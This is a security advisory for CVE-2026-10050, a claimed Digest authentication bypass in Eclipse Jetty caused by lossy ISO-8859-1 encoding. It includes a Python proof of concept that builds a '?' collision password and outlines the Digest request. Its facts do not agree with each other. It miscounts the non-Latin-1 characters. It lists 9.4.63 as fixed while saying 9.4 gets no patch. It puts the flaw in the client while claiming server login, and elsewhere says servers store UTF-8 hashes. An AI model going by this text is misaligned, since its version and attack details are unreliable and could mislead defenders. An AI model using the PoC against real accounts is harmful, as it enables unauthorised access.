highCVE-2026-10050Jul 22, 2026

CVE-2026-10050: Eclipse Jetty Digest Authentication Bypass via ISO-8859-1 Encoding Collision

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Jetty's HTTP client computes Digest authentication hashes using ISO-8859-1, which silently maps any non-Latin-1 character (Chinese, Cyrillic, emoji, etc.) to the byte 0x3F, letting an attacker log in…

Packageorg.eclipse.jetty:jetty-security
Ecosystemmaven
Affected>= 9.4.0.v20161208, <= 9.4.58.v20250814
Fixed in9.4.63

The problem

The DigestAuthentication.apply() method in Jetty's HTTP client calls getBytes(StandardCharsets.ISO_8859_1) at three places to compute the H(A1), H(A2), and final Digest response hashes.

ISO-8859-1 can only represent U+0000 to U+00FF. Any character above that range is silently coerced to byte 0x3F (?) with no warning or exception. This covers CJK, Cyrillic, Arabic, Greek, Hangul, Latin Extended, and emoji. An attacker who knows a victim's username can authenticate by replacing every non-Latin-1 character in the password with a literal ?, because the resulting MD5 hash is byte-for-byte identical to the legitimate one.

Proof of concept

A working proof-of-concept for CVE-2026-10050 in org.eclipse.jetty:jetty-security, with the exact payload below.

python
# Target account: username=admin, password=我爱Java!密码123★
# All 7 non-Latin-1 chars (我爱密码★ + two more) map to 0x3F under ISO-8859-1
# Collision password: replace each with literal '?'

collision_password = "??Java!??123?"

# Verification (Python)
import hashlib

def ha1(user, realm, pwd):
    a1 = f"{user}:{realm}:{pwd}"
    return hashlib.md5(a1.encode('iso-8859-1', errors='replace')).hexdigest()

real      = ha1("admin", "secure", "我爱Java!密码123★")
collision = ha1("admin", "secure", "??Java!??123?")

print(real)       # d60ddc903d71913bcc3ab4a94f7fc239  (example)
print(collision)  # d60ddc903d71913bcc3ab4a94f7fc239  <- identical
assert real == collision, "hashes must match"

# Send the collision password in a standard Digest auth request:
# Authorization: Digest username="admin", realm="secure",
#   nonce="<from WWW-Authenticate>", uri="/protected",
#   response="<MD5 computed with collision password>", ...

The root cause is CWE-173 (Improper Handling of Alternate Encoding): String.getBytes(ISO_8859_1) in Java performs lossy encoding without any signal to the caller, turning every distinct non-Latin-1 character into the same 0x3F byte before the MD5 digest runs.

The patch (commits 4bcdbc7db387 and d0bb829ccecb, PRs #15160 and #15183) replaces StandardCharsets.ISO_8859_1 with StandardCharsets.UTF_8 at all three getBytes() call sites in DigestAuthentication.java. UTF-8 is injective: every Unicode code point maps to a unique byte sequence, so collisions of this type are impossible.

A secondary impact (CWE-303) is a silent authentication failure for any legitimate user with a non-ASCII password: the ISO-8859-1 hash the client sends never matches the UTF-8-derived hash the server stored.

The fix

Upgrade to Jetty 12.0.36 or 12.1.10, which contain the OSS fix. Jetty 9.4, 10.x, and 11.x are end-of-life and will not receive an open-source patch. If you cannot upgrade, avoid Digest authentication for accounts whose passwords contain characters above U+00FF, or switch those accounts to a scheme that does not hash the password client-side (e.g.

Basic over TLS, or token-based auth).

Reported by Simone Bordet (Eclipse Jetty maintainer).

References: [1][2][3][4][5][6]

Related research